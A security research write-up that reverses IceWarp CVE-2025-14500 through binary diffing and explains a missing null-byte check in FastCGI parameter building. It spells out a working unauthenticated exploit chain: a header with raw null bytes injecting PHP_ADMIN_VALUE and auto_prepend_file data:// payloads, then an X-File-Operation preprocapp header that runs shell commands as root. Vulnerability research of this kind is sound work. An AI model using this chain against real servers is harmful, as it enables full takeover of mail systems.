Research
One Byte Is Plenty: Reversing IceWarp CVE-2025-14500

One Byte Is Plenty: Reversing IceWarp CVE-2025-14500

IceWarp's X-File-Operation RCE (CVE-2025-14500) is really a missing null-byte check in the FastCGI parameter builder. One null byte in a request is enough for unauthenticated code execution as root.

TL;DR

CVE-2025-14500 is an unauthenticated RCE in IceWarp. Despite being described as an X-File-Operation command injection, the bug is actually a missing null-byte check while building FastCGI parameters for PHP.

Injecting a null byte into a request header lets an attacker control the FastCGI parameters that follow, leading to command execution as root.

X-File-Operation only comes into play later in the chain.

There is no working public PoC for this. A couple of things claiming to be one exist. They don’t work.

About that name

Here is how ZDI describes it:

ZDI-25-1072, the advisory that names the bug after a header you cannot reach from outside
ZDI-25-1072, the advisory that names the bug after a header you cannot reach from outside

Reading the advisory, the obvious assumption is that X-File-Operation is a request header and that command injection happens through it. That is not the case.

IceWarp does not read X-File-Operation from the incoming request. The header is produced by the PHP backend and consumed internally by IceWarp as a control header, for example to instruct the front end to return a file.

This means you cannot attack X-File-Operation directly from the outside. To control it, you would already need a way to influence what the PHP backend returns.

That distinction ended up being important. The advisory names the mechanism involved near the end of the exploit chain, not the actual entry point.

The Stack

IceWarp isn’t one process. It is a set of native daemons, most of them built from the same big Pascal codebase. On a running box you get roughly:

control      the web / control server (HTTP and HTTPS)
smtp         mail submission and transfer
pop3         mailbox access
im           XMPP
gw           groupware
php-fpm       the PHP backend, a master and a pool of workers

A quick note on the codebase: IceWarp appears to be written largely in Delphi, with references such as NXT_DELPHI_CALLBACK_TABLE, TDELPHIZXINGQRCODE, api/delphi/, and BORLAND. The Linux binaries are compiled with Free Pascal, so the disassembly contains FPC runtime symbols such as fpc_ansistr_incr_ref and $FPC_INTERN_CLASSTABLE.

The IceWarp daemons and the php-fpm pool, every one running as root
The IceWarp daemons and the php-fpm pool, every one running as root

Two of these daemons matter for the web attack surface:

control is the native web server. It terminates TLS, routes, checks auth, serves static files, and decides what to do with dynamic content. It is about 80 MB of Pascal, and the same web-handling code is statically linked into several of the other daemons too, which is why some functions turn up in more than one binary later.

php-fpm is stock PHP sitting behind control on a FastCGI socket at /opt/icewarp/var/php.socket. When control decides a request maps to a PHP file (and by default that includes .html and .wml), it does not run PHP itself. It builds a set of FastCGI parameters out of the request (SERVER_NAME, QUERY_STRING, CONTENT_TYPE, every HTTP_* header) and ships them over the socket. On the way back control scans those response headers for a few internal ones it cares about. X-File-Operation is one of them.

So a request crosses a boundary: you, then control, then FastCGI, then php-fpm, then back to control.

The request round trip: you, control, FastCGI, php-fpm, then back to control
The request round trip: you, control, FastCGI, php-fpm, then back to control

Reading the patch

We have diffed 14.0.0.17 against 14.2.0.9 which contained a giant TeamChat rewrite, so thousands of functions changed for reasons that have nothing to do with any of this. Lots of places to get lost.

PROCESSFILEOPERATIONS, the function that parses X-File-Operation, dropped from 1504 bytes to 870. Whatever it used to do, it does less of it now. Pull the old version and the interesting branch is right there:

 cmpq   $0x0,-0x58(%rbp)          ; filepath set?
 je     10364e4                    ;   no -> skip
 cmpq   $0x0,-0x60(%rbp)          ; preprocapp set?
 je     10364e4                    ;   no -> skip
 mov    -0x60(%rbp),%rsi          ; rsi = preprocapp   (format string)
 lea    -0x78(%rbp),%rdi          ; rdi = result buffer
 call   STRINGUNIT_$$_SAFEFORMAT   ; result := SafeFormat(preprocapp, [filepath])
 call   SYSTEMUNIT_$$_EXECUTEMODAL ; run it

SafeFormat is IceWarp’s sprintf. ExecuteModal runs a command. In 14.2.0.9 that whole branch is gone, along with the preprocapp parameter it depended on. It reads exactly like The Fix, and if you stop reading here you will conclude the story is “they deleted preprocapp.”

PROCESSFILEOPERATIONS decompiled: the preprocapp SafeFormat / ExecuteModal branch is gone in 14.2.0.9
PROCESSFILEOPERATIONS decompiled: the preprocapp SafeFormat / ExecuteModal branch is gone in 14.2.0.9

And in php:

  // html/_shared/tools/filesystem.php
- :229  header("X-File-Operation: filepath=".urlencode(self::truepath($path))."&delete=".($delete?1:0));
+ :210  header("X-File-Operation: filepath=".urlencode(self::truepath($path))."&delete=".($delete?1:0));

In PHP, there isn’t much going on. The other emitter, webdav/inc/response.php, only changed a hardcoded &delete=0 into a conditional. In other words the PHP that produces the header did not meaningfully change. There is no preprocapp here and no way to sneak one in, because the path is encoded and the rest is fixed. So the “producer” we have been hunting does not exist, and the one thing that does emit the header is a dead end.

The change that actually matters is somewhere else, and it is small enough to scroll past. One helper grew by 19 bytes:

WEBSERVICE.GETAPPPARAMS.ADDPARAM
  14.0.0.17   0x860650   120 bytes
  14.2.0.9    0xd59010   139 bytes

ADDPARAM builds one FastCGI parameter before it goes to php-fpm. It lays each one out as name, an equals sign, the value, and a null byte as the separator:

block := block + name + '=' + value + #0

14.0.0.17 does that without checking the value for anything. The patch adds one thing:

mov    -0x10(%rbp),%rax          ; the value
lea    0x585a46(%rip),%rdi       ; "\x00"
call   SYSTEM_$$_POS             ; POS(#0, value)
test   %eax,%eax
jne    d59096                    ; value contains a null? drop the parameter

Can you see it now? Because entries are separated by null bytes, a value with a null in it ends its own entry early, and whatever follows the null is read as more FastCGI parameters. ADDPARAM gets fed from our request headers. So a null byte in a header value lets you inject arbitrary FastCGI parameters into the request control sends to PHP. Below is the fixed ADDPARAM function, and you can pretty much see where this is going from here.

The patched ADDPARAM, with the added Pos(#0, VALUE) null-byte check
The patched ADDPARAM, with the added Pos(#0, VALUE) null-byte check

The Exploit

Before building anything fancy, prove the injection works, and prove it somewhere you can see it. Two FastCGI parameters are special to php-fpm: PHP_VALUE and PHP_ADMIN_VALUE get applied as per-request php.ini settings. The stock config ships with display_errors = Off, so PHP errors never make it into the response. Flip that on with one injected parameter, and point auto_prepend_file at a file that does not exist with another, both after the null byte:

PoC: A\x00PHP_ADMIN_VALUE=display_errors=1\x00PHP_VALUE=auto_prepend_file=/tmp/does-not-exist

Without the null byte the endpoint answers normally. With it, the error comes straight back in the response body:

display_errors flipped on: the injected auto_prepend_file path comes straight back in the response
display_errors flipped on: the injected auto_prepend_file path comes straight back in the response

If auto_prepend_file plus allow_url_include rings a bell, it should. This is the same move as the classic php-cgi RCE, CVE-2012-1823, and its 2024 comeback CVE-2024-4577, the argument-injection bug 🍊Orange Tsai dropped 2 years ago. Different door in each case (query-string args there, FastCGI parameters here).

PHP Code Execution

data:// lets auto_prepend_file be an inline payload instead of a real file, so nothing has to touch disk. The request:

GET /webmail/ HTTP/1.1
Host: target
PoC: A\x00PHP_ADMIN_VALUE=allow_url_include=1\x00PHP_VALUE=auto_prepend_file="data://text/plain;base64,<BASE64>"

In practice:

<?php echo "abc\n";
auto_prepend_file over data:// running arbitrary PHP before the target script
auto_prepend_file over data:// running arbitrary PHP before the target script

One More Dance with disable_functions

At this point we pretty much have execution right? Wrong. The first thing worth doing with a file-read primitive is reading IceWarp’s own php.ini, and it ends the idea on the spot:

disable_functions = "escapeshellarg,escapeshellcmd,exec,fp,fput,passthru,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_setuid,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,eval,chmod"

At this point, it almost feels like a CTF challenge. You have PHP code execution, but every obvious way to turn that into command execution is blocked.

The RCE

Here is what preprocapp is, now that it matters. X-File-Operation carries a few key=value fields. filepath names a file. preprocapp (best I can tell, “pre-processing application”) is a command template to run against it. When control sees both, it does what that old assembly showed: SafeFormat(preprocapp, [filepath]) drops the file path into the %s of the template, and ExecuteModal runs the result through a shell. It is a real feature for handing file work back to the native server. It is also a command line you control, if you can set the header.

So where does that string actually run? ExecuteModal wraps it in a process object and calls Execute, which drops into TEXECUTEMODALBASE.LINUXEXECUTE. It forks, and the child sets up its descriptors and then hands the command to a shell:

The sink decompiled: execl("/bin/sh", "sh", "-c", command) with the Executing /bin/sh sh -c log string
The sink decompiled: execl("/bin/sh", "sh", "-c", command) with the Executing /bin/sh sh -c log string

That last one is the trick for getting the output back without touching disk again. preprocapp is a pre-processing step, so control runs it and then sends filepath as the response. SafeFormat already turned id > %s into id > /tmp/out, so the command writes its output into the exact file control is about to return, and delete=1 wipes it once it is sent. The result comes straight back in the response body:

<?php 
header("X-File-Operation: filepath=/tmp/xfo_out&preprocapp=id > %s&delete=1"); 
preprocapp output returned in the response body: uid=0(root)
preprocapp output returned in the response body: uid=0(root)

ADDPARAM is fed from everything the request carries into the FastCGI block, not just headers. The query string, the request URI, the content type, and the rest of the CGI variables all pass through it, so a null byte in any of them injects just the same. Headers are only the most convenient carrier. The one requirement is a raw 0x00 byte: a percent-encoded %00 gets decoded and caught by IceWarp’s own binary-zero filter, while the raw byte slips straight through.

So the chain is pretty much:

  1. Unauthenticated GET to any PHP endpoint.
  2. A raw null byte in a request header or query string, the check ADDPARAM was missing.
  3. Everything after the null becomes injected FastCGI parameters. Send PHP_ADMIN_VALUE=allow_url_include=1 and PHP_VALUE=auto_prepend_file="data://...base64,<payload>".
  4. Your PHP runs as root, before the target script.
  5. php.ini disable_functions blocks system and friends, so instead of shelling out from PHP, the payload emits header("X-File-Operation: filepath=...&preprocapp=<cmd>&delete=0"); exit;.
  6. control parses that response header and runs <cmd> as root through SafeFormat and ExecuteModal, outside PHP, where disable_functions has no say.

Closing Thoughts

It has been the better part of a year since this was found and fixed, and the patch has been available across every supported branch since. Anyone updating on a reasonable cadence should be well clear of it by now, which is what made us comfortable publishing the full walkthrough rather than continuing to sit on the details.

Credit where it is due: the original finding is Oscar Bataille’s, reported through ZDI as ZDI-25-1072 and assigned CVE-2025-14500. The public advisory is deliberately light on internals, which is normal for this kind of disclosure. This post documents the path we took to understand and reproduce the vulnerability, primarily through binary diffing.

If we leave one thought, it is that severity and difficulty sit on different axes. A 9.8 that ultimately comes down to a missing NUL-byte check still took real work to find and reproduce, not because the bug itself was deep, but because the loud parts of the patch and the advisory’s naming pulled attention away from the one small change that actually mattered.